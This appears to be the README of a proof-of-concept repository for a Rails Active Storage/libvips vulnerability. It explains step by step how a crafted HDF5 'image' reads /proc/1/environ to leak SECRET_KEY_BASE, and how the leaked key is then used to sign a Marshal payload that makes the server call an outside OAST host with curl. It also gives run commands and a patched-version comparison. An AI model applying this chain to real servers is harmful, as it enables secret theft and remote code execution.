
PoC for CVE-2026-66066 in Ruby on Rails
# PoC for CVE-2026-66066 - Minimal stock Rails/libvips lab
This repository reproduces the Rails Active Storage file-read-to-RCE chain
described by
[GHSA-xr9x-r78c-5hrm](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm)
against Rails 8.1.3, the newest affected Rails 8.1 release. Rails 8.1.3.1 is
the patched control.
Use it only in the disposable local lab described here. The HTTP driver
refuses non-loopback targets (although trivial to modify the Python code for authorized testing against other targets).
## Strict target/attacker boundary
The target is a conventional Rails application. Its final image contains:
- the pinned `ruby:3.4.10-slim` Docker Official Image;
- an application generated by `rails _VERSION_ new`;
- the Rails-generated runtime packages `curl`, `libjemalloc2`, `libvips`,
and `sqlite3`;
- the Rails-generated entrypoint and default
`./bin/thrust ./bin/rails server` command; and
- one normal `Upload` model with a single Active Storage attachment, ordinary
HTML `new`, `create`, and `show` actions, and a PNG image variant.
It does not contain an artifact builder, upload artifact, exploit driver,
Marshal constructor, callback code, diagnostic endpoint, loader tracing,
custom boot script, target secret fixture, or exploit-only route. It does not
set `VIPS_TRACE`, reorder the process environment, override the Active Storage
serializer, or configure a non-default image processor.
The root `.dockerignore` sends only `Dockerfile` and `overlay/` to the build.
The host-side Python scripts and all generated artifacts are excluded from the
Docker build context, not merely omitted from the final copy step.
The complete target overlay is five ordinary files:
```text
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
```
The show page uses the minimal normal transformation:
```erb
<%= image_tag @upload.avatar.variant(format: :png) %>
```
An untouched new Rails application has no application model or page that
accepts an attachment, so those five files are the minimum application
functionality needed to represent the advisory's untrusted-image-upload
condition.
## Build and run the vulnerable target
Prerequisites are Docker, OpenSSL, Python 3, and `h5py` for the artifact
builder.
In terminal 1:
```sh
./run_lab.sh 8.1.3
```
The script builds `minimal-rails-vips:8.1.3`, generates an ephemeral
`SECRET_KEY_BASE` unless one is already supplied, publishes the application
only at `127.0.0.1:3000`, and runs the image's generated entrypoint and
default command. No source directory or artifact is mounted into the target.
If port 3000 is already occupied, select another loopback port without
changing the image:
```sh
HOST_PORT=33020 ./run_lab.sh 8.1.3
```
Use the same port in the driver's `--target`.
## Run the combined builder and driver
In terminal 2:
```sh
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
```
`rails_vips_oast_poc.py` is a one-shot builder and HTTP driver. Unless
`--artifact` is supplied, it constructs the upload in a private temporary
directory, keeps it for the complete request sequence, and removes it when
the process exits. It constructs both stages rather than unpacking a static
payload:
1. It asks `h5py` to create a MATLAB/HDF5 file with a 512-byte user block.
2. It creates a `1 × 1024` little-endian `uint8` dataset named `environment`.
3. The dataset uses HDF5 external storage backed by `/proc/1/environ`, offset
zero, with a bounded 1,024-byte extent.
4. It adds `MATLAB_class="uint8"` and writes the `MATLAB 5.0` header used by
libvips' `matload` sniffer.
5. Its minimal Ruby Marshal 4.8 writer constructs the complete unsigned OOB
variation graph.
6. It appends an integrity-checked trailer containing that serialized graph
and a small manifest with the OAST URL and correlation nonce.
The embedded RCE program is fixed to `/usr/bin/curl` with a structured
argument array. It performs one GET to the configured OAST URL and sends only
the random `rails_ghsa_xr9x` correlation token. It does not use a shell and
does not include recovered secrets, command output, file contents, or a
target identifier in the callback.
Artifact parameters are:
- `--external-path`: target-side absolute file, default `/proc/1/environ`;
- `--bytes`: bounded external extent from 128 through 4096, default 1024;
- `--oast`: callback base URL embedded in the payload; and
- `--nonce`: optional 16-byte hexadecimal nonce for a reproducible artifact.
The default OAST URL is loopback-safe. Supply a receiver URL reachable from
the container for the end-to-end check.
To retain the generated upload for inspection or reuse, add an artifact path:
```sh
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
```
An existing `--artifact` is validated and reused. In that case `--oast`, when
given, must match its embedded callback URL. Add `--force` to reconstruct and
atomically replace it with the current builder parameters.
For artifact creation without any HTTP requests, the companion builder is
still available:
```sh
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
```
`--target` defaults to `http://127.0.0.1:3000` and is restricted to literal
loopback or `localhost`.
Expected vulnerable output includes:
```text
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
```
Match `oast_nonce` in the terminal with the
`rails_ghsa_xr9x=<nonce>` query parameter received by the OAST service. The
HTTP 500 from the final representation request is expected: the callback
happens while the authenticated Marshal Hash is being rebuilt, before the
overall transformation subsequently fails.
## What the driver does
The builder portion requires `h5py`; the HTTP and cryptographic portions use
only Python's standard library:
1. It constructs and validates the complete upload artifact and embedded
unsigned Marshal graph.
2. It uploads a safe PNG through the application's ordinary multipart HTML
form, follows the normal redirect, and extracts the
representation URL from its `` element.
3. It uses Rails' built-in Active Storage direct-upload endpoint to create an
unattached blob declared as `image/bmp`, then uploads the constructed
bytes.
4. It combines that valid blob signed ID with the normal variation key from
the safe image and requests the representation.
5. Stock Debian libvips selects the unfuzzed `matload` operation. The returned
PNG exposes the external dataset bytes, including the runtime
`SECRET_KEY_BASE`.
6. The driver derives the ordinary `ActiveStorage` verifier key, reads the
already-constructed Marshal payload from the artifact, signs it for the
`variation` purpose, and requests the resulting representation URL.
7. Deserialization invokes the embedded `/usr/bin/curl` payload and produces
the blind OOB callback.
The target contributes no helper endpoint or signing gadget. The Ruby classes
used by the serialized graph come from dependencies already resolved by a
stock `rails new` Gemfile; the application does not require or configure them.
Image processing remains on the Rails default `:vips` processor throughout.
## Patched differential
Stop terminal 1 with Ctrl-C, then run:
```sh
./run_lab.sh 8.1.3.1
```
Rerun the same combined driver command. If an artifact was retained, it can
be reused by passing the same `--artifact` path. The patched result should
stop at:
```text
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
```
No environment pixels are returned, the embedded payload is never signed or
submitted, and no OAST callback occurs. Active Storage 8.1.3.1 enables
libvips' untrusted-operation block, so `matload` is rejected.
## Verify the target image is clean
The final runtime configuration should be the generated one:
```sh
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
```
Expected:
```text
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
```
Inspect the only script and confirm the PoC files are absent:
```sh
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
```
The only script entry is the generator-created `/rails/script/.keep`.
Build tools and optional image CLIs also stay out of the runtime:
```sh
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
```
`libvips` is present as a shared runtime library even though its CLI tools are
not installed. Debian's stock dependency graph supplies the linked MAT/HDF5
format support.
## Files
- `Dockerfile` generates and packages the minimal stock target.
- `.dockerignore` prevents attacker-side files from entering the build
context.
- `overlay/` contains only the five normal Rails application files.
- `run_lab.sh` builds and launches the target without executing the PoC.
- `rails_vips_oast_poc.py` constructs the HDF5 file-read image and configurable
OOB payload, drives the normal HTTP flow, recovers the verifier secret,
signs the embedded payload, and triggers it.